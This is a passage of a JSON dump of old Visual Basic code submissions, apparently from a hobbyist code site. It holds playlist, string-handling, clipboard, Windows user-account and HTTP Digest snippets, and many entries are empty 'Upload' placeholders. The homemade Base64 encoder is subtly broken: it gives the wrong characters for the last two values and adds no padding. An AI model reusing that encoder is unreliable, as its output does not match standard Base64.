Then you multiple that by 60 and take that number away from the total seconds\n'it took me awhile to figure out that i needed the format in the middle of finding the seconds.\nEnd Function"},{"WorldId":1,"id":13258,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13270,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13334,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14780,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22497,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24712,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15080,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14108,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13661,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13294,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13432,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13307,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25275,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25246,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25121,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26861,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14270,"LineNumber":1,"line":"'This Code is to be inserted in the Main Ifrace of your program, it will be hidden while it randomizes which intro splash screen to load.\nPrivate Sub Form_Load()\n'main is the form that shows up after the intro art, could be form1, main or whatever you call it.\n'main.visible=false , that hides the original form\nMain.Visible = False\n'makes the following coding randomized\nRandomize\n'lets it know there will be three options\nSelect Case Int((Rnd * 3) + 1)\n'if case 1 is selected then the intro1 form loads\nCase 1\nintro1.Visible = True\n'if case 2 is selected then the intro2 form loads\nCase 2\nintro2.Visible = True\n'if case 3 is selected then the intro3 form loads\nCase 3\nintro3.Visible = True\n'ends it\nEnd Select\n'*******END CODING*********\n'inside intro1,2,3, you should have either a timer and after an alloted time it makes main.visible=true, and/or on MouseClick of the picture itself. so heres and example\n'Intro1\n'if someone clicks on the intro picture on intro1\n'Private Sub Picture_click()\n'hides the intro\n'intro1.visible=false\n'shows main iface\n'main.visible=true\n'End Sub"},{"WorldId":1,"id":21158,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22078,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13330,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13785,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13685,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27926,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13419,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27561,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27972,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28484,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29582,"LineNumber":1,"line":"'For the following code you work correctly, YOU MUST HAVE, ON THE FORM:\n' 2 x Listboxes, name List1 and List2\n' 1 x Textboxes, name Text1\n'--------------------------------------------------------------------\n'\n'To use the code, you call it similar to calling another other Sub or Function;\n'\n'(anywhere in your code)\n'Call WriteToASX(\"C:\\windows\\newasx.asx\") ' THIS WOULD WRITE TO THE FILENAME SPECIFIED\n'\n'or:\n'\n'(anywhere in your code)\n'Call PullFromASX(\"C:\\windows\\newasx.asx\") ' THIS WOULD READ FROM THE ASX FILE SPECIFIED\n'\n'------------------------ Creating an ASX file -----------------------\nSub WriteToASX(Path As String)\nOn Local Error GoTo WriteError ' ERROR HANDLING\nOpen Path For Output As #1 ' OPEN A NEW ASX FILE FOR WRITING TO\n Print #1, \"<ASX Version = \" & Chr(34) & \"3.0\" & Chr(34) & \" >\" 'THE FOLLOWING CODE WRITE THE GENERAL HEADER INFO, SO THAT MEDIA PLAYER ACCEPTS IT\n Print #1, \"\"\n Print #1, \"<Param Name = \" & Chr(34) & \"Name\" & Chr(34) & \" Value = \" & Chr(34) & \"Playlist - ASX Format - jBistoGOOD@Hotmail.com\" & Chr(34) & \" />\" 'SET THE FORMAT... AND CREDITS :)\n Print #1, \"<Param Name = \" & Chr(34) & \"AllowShuffle\" & Chr(34) & \" Value = \" & Chr(34) & \"yes\" & Chr(34) & \" />\" 'INFO ABOUT THE PLAYLIST (REQUIRED)\n Print #1, \"\"\n For i = 0 To List1.ListCount - 1 'LOOP WRITING THE FILENAMES UNTIL ALL ARE DONE\n Print #1, \"<Entry>\"\n Print #1, \"<Param Name = \" & Chr(34) & \"name\" & Chr(34) & \" Value = \" & Chr(34) & List2.List(i) & Chr(34) & \" />\" 'ONLY THE NAME OF THE SONG ETC, NOT PATH OR FILENAME\n Print #1, \"<ref href = \" & Chr(34) & List1.List(i) & Chr(34) & \" />\" 'WRITES THE FULL PATH, AND FILENAME THAT ARE READ TO PLAY THE SONG\n Print #1, \"</Entry>\"\n Print #1, \"\"\n Next i\n Print #1, \"</asx>\" ' CLOSE THE ASX FILE\nClose #1 'PHYSICALLY CLOSE THE OPEN FILE\nExit Sub\nWriteError: ' AN ERROR HAS OCCURED; TELL THE USER, AND SAY WHAT THE ERROR IS\n MsgBox \"There was an error writing to the playlist: \" & Err.Description\nEnd Sub\n'---------------------------------------------------------------------\n'\n'This above code will write an ASX file that can be read by Windows Media Player. It uses List1 for the complete filenames for files you wish to be\n'in the playlist, and reads from List2 the song names, or whatever you wish the filenames to be identified by.\n'\n'------------------------ Reading from a created ASX -----------------\nSub PullFromASX(Path As String)\nDim SStart, Getname As Long\nDim Part2 As Long ' DECLARE THE VARIBLES\nDim FullFilename, CosmeticName As String\nOn Local Error GoTo errorasx 'BASIC ERROR HANDLING\nSStart = 1 'WHERE TO START LOOKING FOR THE SONG\nGetname = 1 'A TEMPORY INTEGER VALUE CONTAINING THE START OF THE SONG FILENAME\nOpen Path For Input As #1\n Text1.Text = Input(LOF(1), 1) ' OPEN THE EXISTING ASX FILE, AND EXTRACT THE CONTENTS TO TEXT1\nClose #1\nDo Until Getname = \"0\"\n Getname = InStr(SStart, Text1.Text, \"<ref href = \" & Chr(34)) ' FIND THE START OF THE SONG FILENAME\n Part2 = InStr(Getname + 13, Text1.Text, Chr(34)) ' FIND THE END OF THE SONG FILENAME\n FullFilename = Mid(Text1.Text, Getname + 13, Part2 - Getname - 13) ' FIND THE FILE NAME, RELATIVE TO FIRST AND LAST PARTS\n \n If Getname <> 0 Then List1.AddItem FullFilename ' ADD THE FILENAME TO LIST1\n SStart = Getname + 1 ' SPECIFIES WHERE TO SEARCH FROM (AND UPDATES IT)\nLoop ' RESTART THE LOOP\nMsgBox \"All filenames extracted from the ASX file. Continuing to extract song names.\"\nCall PullCosmeticsASX(Path) ' START THE NEXT STEP\nExit Sub\nerrorasx: ' AN ERROR HAS OCCURED; TELL THE USER, AND SAY WHAT THE ERROR IS\n MsgBox \"There was an error reading from the playlist: \" & Err.Description\nEnd Sub\n\n\nSub PullCosmeticsASX(Path As String)\nDim SStart, Getname As Long\nDim Part2 As Long ' DECLARE THE VARIBLES\nDim FullFilename, CosmeticName As String\nOn Local Error GoTo errorasx 'BASIC ERROR HANDLING\nSStart = 1\nGetname = 1\nOpen Path For Input As #1\n Text1.Text = Input(LOF(1), 1) ' OPEN THE EXISTING ASX FILE, AND EXTRACT THE CONTENTS TO TEXT1\nClose #1\nDo Until Getname = 0 ' START THE LOOP, LOOKING FOR SONG NAMES\n Getname = InStr(SStart, Text1.Text, \"<Param Name = \" & Chr(34) & \"name\" & Chr(34) & \" Value = \" & Chr(34)) ' FIND THE START OF THE NAME\n \n Part2 = InStr(Getname + 30, Text1.Text, Chr(34)) ' FIND THE END OF THE NAME\n CosmeticName = Mid(Text1.Text, Getname + 30, Part2 - Getname - 30) ' FIND THE SONG NAME, RELATIVE TO FIRST AND LAST PARTS\n \n If Getname <> 0 Then List2.AddItem CosmeticName ' ADD THE SONG NAME TO LIST2\n SStart = Getname + 1 ' SPECIFIES WHERE TO SEARCH FROM (AND UPDATES IT)\nLoop ' RESTART THE LOOP\nMsgBox \"Completed reading from playlist.\" ' IF NO MORE ENTERIES ARE FOUND THEN YOU ARE FINISHED; EXIT SUB\nExit Sub\nerrorasx: ' AN ERROR HAS OCCURED; TELL THE USER, AND SAY WHAT THE ERROR IS\n MsgBox \"There was an error reading from the playlist: \" & Err.Description\nEnd Sub\n'---------------------------------------------------------------------------------\n'\n'The above code will do two things:\n' 1. Take all the full filenames of songs etc in the ASX file, and add them to List1\n' 2. Take just the filename, or name of song, or whatever is specified in the ASX, and put it into List2\n'Text1 just holds the ASX file to read from it, and is only used when directly reading from the ASX file.\n'\n'---------------------------------------------------------------------------------\nHope this helps you to understand the making of the playlist, and the various string manipulation commands.\nIf you need a detailed explanation of the InStr command etc, then check out my other tutorials \n(click 'other submissions from this person' below)\n\nkeep coding!\n\ntHe_cLeanER\njBistoGOOD@Hotmail.com"},{"WorldId":1,"id":29350,"LineNumber":1,"line":"The following functions and procedures can be used to manipulate general strings, and more or less do whatever you like with them!\nIf you get stuck, look at the bottom of this tutorial for contact information. (Soz about the spelling.. im doin this in notepad!)\n\n-------------------------------------\n\nRight, first starting with the basic stuff:\n1. Getting the length of a string or varible\nmsgbox len(text1.text) \nMessages the number of characters in text1 text box. This will be in the form of a numerical value.\nstrText = \"How long is this text?\"\nr = len(strText)\nmsgbox r\nThis produces a messagebox saying \"22\" because 'strText' is 22 charaters long.\n\n-------------------------------------\n\n2. The following code is used to get a part of a string. Useful for cutting off bits that arent needed throughtout the rest of the code.\nmsgbox Left(\"How are you today?\", 3)\nThis pulls the 3 left characters of the specified text, and therefore produces a messagebox saying 'How'\ntext1.text = \"Today is it Tuesday\"\nr = Left(text1.text, 5)\ntext1.text = r\nThe above code will first make the text1 textbox say 'Today is it Tuesday' then cut off everything except the day. After the code has been exucuted, the text1 textbox will read 'Today'; which is the left 5 characters, as specified in the code.\nAs well as the Left(string, number of places) code, there is Right(string, number of places). The Right function works the same way as left, but starts from the other side.\nmsgbox Right(\"6 Toffee Bakewells\", 9)\nThis would produce a message reading 'Bakewells'.\nNow you have the left and right parts of a string, you may wish to get a centre, or middle part. To do so, you use the Mid(string, Start point, length) function.\nmsgbox Mid(\"You now owe me 32 pounds\", 16)\nThis would produce a message saying '32 Pounds' considering I set the code to start at 16 places into the string. You may have noticed that I left the end part of the code, the lengh off. This part is optional, and so if you dont specify the length, then it will go right to the end of the string. To get just the amount of money in the above code, you add the lengh to the end as so:\nmsgbox Mid(\"You now owe me 32 pounds\", 16, 2)\nThis means read 16 places into 'You now owe me 32 pounds', and get the next 2 characters, which will be 32. Therefore you will get a message saying '32'.\n\n---------------------------------------\n\n3. If you wish to search the text for a particular word, then you will use the InStr(Start Place, Search String, Find word) function. This function is very customisable to your needs, and so has a lot of optional extras that can be added, but in the interests of simplicity, I'll leave these off the turorial. The InStr command returns its value as an integer (number) as a place where it found the string in the search text.\nmsgbox InStr(1, \"The weather today is reasonably warm and sunny\", \"warm\")\nThe above code starts at the beginning of 'The weather today is reasonably warm and sunny', as specifed by the 1 at start, and searches for the word 'warm' in it. If it does not find the word warm in the string, then it will return the value as 0, and you get a message saying '0'. However, if it finds the word, then it returns a number saying where it found the start of the word. In this case, you would see a messagebox saying '33' because the 'w' of warm is 33 characters into the string.\nIf you wish to make a simple search program, to find searchword text2.text in the string text1.text, then this is how you would go about doing it:\ntext1.text = \"Welcome to the grand parade\"\ntext2.text = \"grand\"\nr = InStr(1, text1.text, text2.text)\nif r > 0 then\n\tmsgbox \"Found word, \" & r & \" characters into the search string.\"\nelse\n\tmsgbox \"Sorry, could not find the search text\"\nend if\nAs well as that, there is the InStrRev command, which does exactly the same thing, but starts from the end of the search string. It will return an integer just as InStr does, which defines the placement of the word, but starting from the end. This is called as InStrRev(searchstring, findtext)\n\n--------------------------------------\n\n4. Next, is the Replace(search in string, search for text, replace with text). It is used to search through a string, and replace certain words or characters with other ones. If you want an active example of this one, look in my 'other uploads by thi person' on PSC, to find 'the lamerizer'.\nmsgbox replace(\"Only a fool goes outside in the cold without a coat on\", \"fool\", \"brave bloke\")\nThis code would produce a message replaceing 'fool' with 'brave bloke', and therefore will look like this: 'Only a brave bloke goes outside in the cold without a coat on'.\nAnother example of this use, is to remove a swearword from a sentance etc, as follows:\ntext1.text = replace(text1.text, \"oh my god\", \"oh my goodness\")\nThis code searches through text1.text textbox, and replaces any instances of 'oh my god', with 'oh my goodness', then returns the text back into text1.text, without the cursing.\n\n----------------------------------------\n\n5. Setting uppercase or lowercase a user has typed.\nThis is useful for making sure that if a user types something in uppercase (capitals) then it will still comply with something in your code that is lowercase. For example, if you are making a text adventure, and the user is given a choice of left or right, and they type LEFT, as VB is case sensitive, your program would'nt accept their answer, adnd tell them it was invalid!\nTo combat this, you use the LCase(string) or UCase(string) commands\nTo make a sentance lowercase, you use the following:\ntext1.text = LCase(text1.text)\nOr to convert to uppercase, use the following:\ntext1.text = UCase(text1.text)\n\n-----------------------------------------\n\n6. Reversing the order of characters in a string.\nIf you wish to flip around the front and back end of a string, then the StrReverse(string) is for you. It is used in the following way:\nmsgbox StrReverse(\"PSC is a rather large database\")\nThis would pop up a message saying 'esabatad egral rehtar a si CSP'. Im not quite sure why you'd want to use this function, but may be usefull to know!\n\n------------------------------------------\n\n7. Comparing strings in terms of ASCII values / Case.\nThe StrComp function seems reaonably usefull in this feild. It is used in context StrComp(string1, string2).\nThis function returns its value as an integer, specifying what it found.\ntext1.text = strComp(\"tHe_cLeanER\", \"THE_CLEANER\")\nif text1.text = -1 then msgbox \"String 1 is less than string 2\"\nif text1.text = 0 then msgbox \"String 2 is equal to string 1\"\nif text1.text = 1 then msgbox \"String 1 is greater than string 2\"\nif text1.text = Null then msgbox \"String 1 and / or string two is null\"\nIn this case, you would get text1.text texbox giving you the value 1, because tHe_cLeanER is greater in ascii value than THE_CLEANER.\n\n------------------------------------------\n\n8. Creating arrays with the Split(string1, split character) function.\nThis function allows you to create a one-dimensional array, by splitting a string by reconising a certain character, then putting any text after the character on a new line in the array.\nBasic use of this function could be for getting a list of names from a multiline text box as follows:\nr = Split(Text1.Text, Chr(13))\nFor i = 0 To UBound(r)\n MsgBox r(i)\nNext i\nThis will pull all lines of the text box, and use them to create an array, which is stored in r. You extract these values from the array by selecting where in the array you wish to look. The look-in-line is defined after the r, inb brackets. Example: Msgbox r(3) would pull the FORTH line of the array that is being held in r. Msgbox r(5) would pull the 6th line being held in the array.\n\n------------------------------------------\n9. Joining an array back into one string. Uses the Join(array string, split character) function.\nIf you have an array, and wish to compile it back into one string, then the Join function (Which is the opposite of the Split function) is the one to use.\nNote: this will only work if r contains an array. See previous to create an array.\nz = Join(r, Chr(13))\nMsgBox z\nThis code will put back together an array into a string, seperating different lines in the array with the specified character. In this case, i used the carrige return char, which is the equivilent of pressing Enter. The above code will compile an array created from a multiline text box. It will work fine with the previous procedure.\n\n------------------------------------------\n\nTheres a few more string manipulation comands that i havent gone into, possibly becuase im board of typing!\nneway.. im sorta hoping most of this code will work, if you have any probs, mail me on jBistoGOOD@Hotmail.com, and i'll see what can be done...\nkeep coding!\ntHe_cLeanER"},{"WorldId":1,"id":30170,"LineNumber":1,"line":"'PASTE THE FOLLOWING INTO ANY FORM...\n'YOU MUST HAVE A COMMAND BUTTON\n'NAMED 'COMMAND1'\nOption Explicit\n \nPrivate Declare Function NetUserChangePassword Lib \"netapi32.dll\" ( _\n ByVal domainname As String, ByVal Username As String, _\n ByVal OldPassword As String, ByVal NewPassword As String) As Long\n\nPrivate Sub Command1_Click()\n On Error GoTo error\n Dim r As Long\n Dim sServer As String\n Dim sUser As String\n Dim sOldPass As String\n Dim sNewPass As String\n sServer = StrConv(\"\\\\jon\", vbUnicode)\n sUser = StrConv(\"the_cleaner\", vbUnicode)\n sOldPass = StrConv(\"password\", vbUnicode)\n sNewPass = StrConv(\"password2\", vbUnicode)\n r = NetUserChangePassword(sServer, sUser, sOldPass, sNewPass)\n If r <> 0 Then\n MsgBox \"Error! Could not change password. Ensure that: \" & vbCrLf & vbCrLf & _\n \"o Old password was correct (Error 86)\" & vbCrLf & _\n \"o The server name started with '\\\\' (Error 1351)\", vbCritical, \"Error: \" & r\n Else\n MsgBox \"Password changed successfully!\", vbExclamation, \"Changed Password\"\n End If\n Exit Sub\n \nerror:\n MsgBox \"External error changing password: \" & vbCrLf & vbCrLf & Err.Description, vbCritical, \"Error: \" & Err.Number\nEnd Sub"},{"WorldId":1,"id":30171,"LineNumber":1,"line":"'PASTE THE FOLLOWING INTO A FORM\n'YOU NEED A COMMAND BUTTON NAMED\n'COMMAND1\nOption Explicit\nPrivate Declare Function NetUserDel Lib \"NETAPI32.DLL\" (ByVal servername As String, ByVal userName As String) As Long\n\nPrivate Sub Command1_Click()\n On Error GoTo error\n \n Dim r As Long\n Dim sServer As String\n Dim sUser As String\n\n sServer = StrConv(\"\\\\jon\", vbUnicode) ' CHANGE THESE TO YOUR SELECTED USER AND SERVER\n sUser = StrConv(\"the_cleaner\", vbUnicode) ' CHANGE THESE TO YOUR SELECTED USER AND SERVER\n\n r = NetUserDel(sServer, sUser)\n If r <> 0 Then\n MsgBox \"Delete user failed. Ensure: \" & vbCrLf & vbCrLf & _\n \"o The server name was correct and started with '\\\\'\" & _\n \"o You have admin rights for that server (I think :)\" & _\n \"o The username you specified was valid\", vbCritical, \"Error: \" & r\n Else\n MsgBox \"User deleted!\", vbExclamation, \"Success\"\n End If\n Exit Sub\n \nerror:\n MsgBox \"External error deleteing user: \" & vbCrLf & vbCrLf & Err.Description, vbCritical, \"Error: \" & Err.Number\nEnd Sub"},{"WorldId":1,"id":30267,"LineNumber":1,"line":"Option Explicit\nPrivate Declare Function WNetAddConnection Lib \"mpr.dll\" Alias \"WNetAddConnectionA\" (ByVal lpszNetPath As String, ByVal lpszPassword As String, ByVal lpszLocalName As String) As Long\nPrivate Sub Form_Load()\nDim r As Long\nr = WNetAddConnection(\"\\\\dedicated\\xpserver\", vbNullString, \"x:\")\nIf r <> 0 Then\n MsgBox \"ERROR: \" & Err.Description\nEnd If\nEnd Sub"},{"WorldId":1,"id":34533,"LineNumber":1,"line":"RESPONSE RECEIVED FROM HTTP SERVER:\nHTTP/1.1 401 Authorization Required..Server: Microsoft-IIS/5.0..Date: Tue, 07 May 2002 17:14:49 GMT..P3P:CP=\"BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo\"..Connection: close..Content-Type: text/html..WWW-Authenticate: Digest realm=\"hotmail.com\", nonce=\"MTAyMDc5MTY4OTowZjY5YmE1NjEzNmM5YTE4NGZmNGQ1ZWFkNzU3ZTIxNw==\", qop=\"auth\"..X-Dav-Error: 401 Wrong email address....HMServer: H: DAV73 V: WIN2K 09.04.50.0031 i D: Apr 18 2002 12:14:38...\n=============================================\nTO CALCULATE THE RESPONSE VALUE:\nMsgBox (GetResponse(\"MTAyMDc5MTY4OTowZjY5YmE1NjEzNmM5YTE4NGZmNGQ1ZWFkNzU3ZTIxNw==\", \"b6327c933ceeb677f8d6056c60aeabcb\", \"00000001\", \"auth\", \"[USERNAME]\", \"[PASSWORD]\", \"hotmail.com\", \"PROPFIND\", \"/cgi-bin/hmdata\"))\n=============================================\nFunction GetResponse(Nonce As String, CNonce As String, NonceCount As String, QOP As String, Username As String, Password As String, Realm As String, Method As String, URi As String)\n Dim Buffer As String\n Dim Buffer2 As String\n Dim Buffer3 As String\n \n Buffer = MD5String(Username & \":\" & Realm & \":\" & Password)\n Buffer2 = MD5String(Method & \":\" & URi)\n Buffer3 = MD5String(Buffer & \":\" & Nonce & \":\" & NonceCount & \":\" & CNonce & \":\" & QOP & \":\" & Buffer2)\n \n GetResponse = Buffer3\nEnd Function"},{"WorldId":1,"id":34187,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34062,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13570,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14339,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23212,"LineNumber":1,"line":"Public Sub CopyTLP(strText As String, strSylk As String)\nDim wLenT As Integer\nDim hMemoryT As Long\nDim lpMemoryT As Long\nDim wLenS As Integer\nDim hMemoryS As Long\nDim lpMemoryS As Long\nDim retval As Variant\n\n If OpenClipboard(APINULL) Then\n Call EmptyClipboard\n \n wLenT = Len(strText) + 1\n strText = strText & vbNullChar\n \n hMemoryT = GlobalAlloc(GHND, wLenT + 1)\n \n If hMemoryT Then\n lpMemoryT = GlobalLock(hMemoryT)\n retval = lstrcpy(lpMemoryT, strText)\n Call GlobalUnlock(hMemoryT)\n retval = SetClipboardData(CF_TEXT, hMemoryT)\n End If\n \n wLenS = Len(strSylk) + 1\n strSylk = strSylk & vbNullChar\n \n hMemoryS = GlobalAlloc(GHND, wLenS + 1)\n \n If hMemoryS Then\n lpMemoryS = GlobalLock(hMemoryS)\n retval = lstrcpy(lpMemoryS, strSylk)\n Call GlobalUnlock(hMemoryS)\n retval = SetClipboardData(CF_SYLK, hMemoryS)\n End If\n End If\n Call CloseClipboard\nEnd Sub\nPublic Sub CopyText(strText As String)\n 'ExecuteCopy strText, CF_TEXT\n Clipboard.GetText vbCFText\nEnd Sub\nPublic Sub CopyRTF(strText As String)\n 'ExecuteCopy strText, CF_TEXT\n Clipboard.GetText vbCFRTF\nEnd Sub\nPublic Sub CopyOEMText(strText As String)\n ExecuteCopy strText, CF_OEMTEXT\nEnd Sub\nPublic Sub CopyDIF(strText As String)\n ExecuteCopy strText, CF_DIF\nEnd Sub\nPublic Sub CopyUNICODETEXT(strText As String)\n ExecuteCopy strText, CF_UNICODETEXT\nEnd Sub\nPublic Sub CopySYLK(strText As String)\n ExecuteCopy strText, CF_SYLK\nEnd Sub\nPublic Sub CopyXlTable(strText As String)\nDim wCBformat As Long\nwCBformat = RegisterClipboardFormat(\"XlTable\")\nIf wCBformat <> 0 Then\n ExecuteCopy strText, wCBformat\nEnd If\nEnd Sub\nPublic Sub CopyBiff5(strText As String)\nDim wCBformat As Long\nwCBformat = RegisterClipboardFormat(\"BIFF5\")\nIf wCBformat <> 0 Then\n ExecuteCopy strText, wCBformat\nEnd If\nEnd Sub\nPublic Sub CopyCsv(strText As String)\nDim wCBformat As Long\nwCBformat = RegisterClipboardFormat(\"Csv\")\nIf wCBformat <> 0 Then\n ExecuteCopy strText, wCBformat\nEnd If\nEnd Sub\nPrivate Sub ExecuteCopy(strText As String, clipFormat As Long)\nDim wLen As Integer\nDim hMemory As Long\nDim lpMemory As Long\nDim retval As Variant\n\n If OpenClipboard(APINULL) Then\n Call EmptyClipboard\n \n wLen = Len(strText) + 1\n strText = strText & vbNullChar\n \n hMemory = GlobalAlloc(GHND, wLen + 1)\n \n If hMemory Then\n lpMemory = GlobalLock(hMemory)\n 'Call CopyMem(ByVal lpMemory, strText, wLen)\n retval = lstrcpy(lpMemory, strText)\n Call GlobalUnlock(hMemory)\n \n retval = SetClipboardData(clipFormat, hMemory)\n End If\n End If\n Call CloseClipboard\nEnd Sub\nPublic Function Paste()\nPaste = Clipboard.GetText(1)\nEnd Function\nFunction CanPaste() As Boolean\n If IsClipboardFormatAvailable(CF_TEXT) Then\n CanPaste = True\n ElseIf IsClipboardFormatAvailable(CF_UNICODETEXT) Then\n CanPaste = True\n ElseIf IsClipboardFormatAvailable(CF_OEMTEXT) Then\n CanPaste = True\n ElseIf IsClipboardFormatAvailable(CF_DIF) Then\n CanPaste = True\n End If\nEnd Function"},{"WorldId":1,"id":21537,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13401,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25727,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23021,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15056,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13417,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23250,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22276,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26181,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23712,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29953,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13564,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13458,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13460,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22071,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13471,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13472,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13478,"LineNumber":1,"line":"Public Function sBase64Enc(sData As String) As String\n 'Base64 Conversion\n 'Example:\n ' Dim sMyConv As String\n ' sMyConv = sBase64Enc(\"Hello =)\")\n On Error Resume Next\n Dim x As Long\n Dim nByte As Long\n Dim nAsc As Long\n Dim sBin As String\n Dim sRet As String\n Dim sByte As String\n Dim nIncr As Integer\n 'Convert the data to standard\n 'base-2 binary.\n For x = 1 To Len(sData)\n DoEvents\n nByte = CLng(Asc(Mid(sData, x, 1)))\n For y = 1 To 8\n nIncr = CInt(2 ^ (8 - y))\n If CLng(nByte) - CLng(nIncr) >= 0 Then\n nByte = nByte - CLng(nIncr)\n sBin = sBin & \"1\"\n Else: sBin = sBin & \"0\"\n End If\n Next y\n Next x\n 'Check to see if the conversion was completed\n 'and if so, encode the data using the Base64\n 'algorithm.\n If CLng(Len(sBin) Mod 8) = 0 Then\n 'Binary conversion ok!, parse\n 'every 6 bits of data.\n For x = 1 To Len(sBin) Step 6\n DoEvents\n sByte = Mid(sBin, x, 6)\n For y = 1 To Len(sByte)\n DoEvents\n nByte = Val(Mid(sByte, y, 1))\n If Not nByte = 0 Then\n nAsc = nAsc + CInt(2 ^ (6 - (y)))\n End If\n Next y\n 'Base64 Conversion:\n Select Case (nAsc + 65)\n Case Is > 90 'Either lowercase or numeric\n If (nAsc + 71) > 122 Then\n sByte = Chr(nAsc - 4)\n Else\n sByte = Chr(nAsc + 71)\n End If\n Case Is < 90 'Uppercase\n sByte = Chr(nAsc + 65)\n End Select\n 'Append new characters to the final\n 'string and reset temporary variables.\n sRet = sRet & sByte\n nAsc = 0\n Next x\n End If\n 'Finished, output the data to the\n 'function variable.\n sBase64Enc = sRet\nEnd Function"},{"WorldId":1,"id":13506,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13560,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13610,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22860,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22833,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14853,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25115,"LineNumber":1,"line":"'Use DAO:\nSet MyDB = DBEngine.OpenDatabase(TheMDBNameWithFullPath,False,False,\";Pwd=\" & pwd)\nUse Data Control\nWith Data1\n.DatabaseName=App.Path & \"\\my.mdb\"\n.RecordSource=\"mytable\"\n.Connect=\";Pwd=\" & pwd\n.Refresh\nEnd With\n\nUse OLE Automation\n Dim objAccess as Object\n '----------------------------------------------------------------------\n 'This procedure sets a module-level variable, objAccess, to refer to\n 'an instance of Microsoft Access. The code first tries to use GetObject\n 'to refer to an instance that might already be open. If an instance is\n 'not already open, the Shell() function opens a new instance and\n 'specifies the user and password, based on the arguments passed to the\n 'procedure.\n '\n 'Calling example: OpenSecured varUser:=\"Admin\", varPw:=\"\"\n '----------------------------------------------------------------------\n Sub OpenSecured(Optional varUser As Variant, Optional varPw As Variant)\n Dim cmd As String\n On Error Resume Next\n Set objAccess = GetObject(, \"Access.Application\")\n If Err <> 0 Then 'no instance of Access is open\n If IsMissing(varUser) Then varUser = \"Admin\"\n cmd = \"C:\\Program Files\\Microsoft Office\\Office\\MSAccess.exe\"\n cmd = cmd & \" /nostartup /user \" & varUser\n If Not IsMissing(varPw) Then cmd = cmd & \" /pwd \" & varPw\n Shell pathname:=cmd, windowstyle:=6\n Do 'Wait for shelled process to finish.\n Err = 0\n Set objAccess = GetObject(, \"Access.Application\")\n Loop While Err <> 0\n End If\n"},{"WorldId":1,"id":25670,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13516,"LineNumber":1,"line":"Private Type SAFEARRAYBOUND\n cElements As Long\n lLbound As Long\nEnd Type\nPrivate Type SAFEARRAY2D\n cDims As Integer\n fFeatures As Integer\n cbElements As Long\n cLocks As Long\n pvData As Long\n Bounds(0 To 1) As SAFEARRAYBOUND\nEnd Type\n' keep it safe, be global\nDim mArray() As Double\nDim tSA As SAFEARRAY2D\nDim hFile As Long\nDim hFileMapping As Long\nDim lpFileBase As Long\nSub Create2DMMArray(Filename As String, ElemSize As Long, n As Long, m As Long)\n With tSA\n .cbElements = ElemSize\n .cDims = 2\n .Bounds(0).lLbound = 0\n .Bounds(0).cElements = m\n .Bounds(1).lLbound = 0\n .Bounds(1).cElements = n\n .fFeatures = &H10 Or &H2 ' FADF_FIXEDSIZE and FADF_STATIC\n .cLocks = 1\n \n GetViewOfFile Filename, ElemSize, n, m\n .pvData = lpFileBase\n End With\n \n If tSA.pvData = 0 Then\n Err.Raise 1243, \"Create2DMMArray()\", \"Memory mapping failed\"\n Else\n CopyMemory ByVal VarPtrArray(mArray()), VarPtr(tSA), 4\n End If\n \nEnd Sub\nFunction GetViewOfFile(Filename As String, ElemSize As Long, n As Long, m As Long) As Long\n hFile = CreateFile(Filename, GENERIC_READ Or GENERIC_WRITE, 0, 0, _\n CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, vbEmpty)\n If hFile = -1 Then Err.Raise Err.LastDllError, \"GetViewOfFile()\", \"Could not open file \" & Filename\n \n Dim FileSize As Long\n FileSize = ElemSize * m * n\n hFileMapping = CreateFileMapping(hFile, 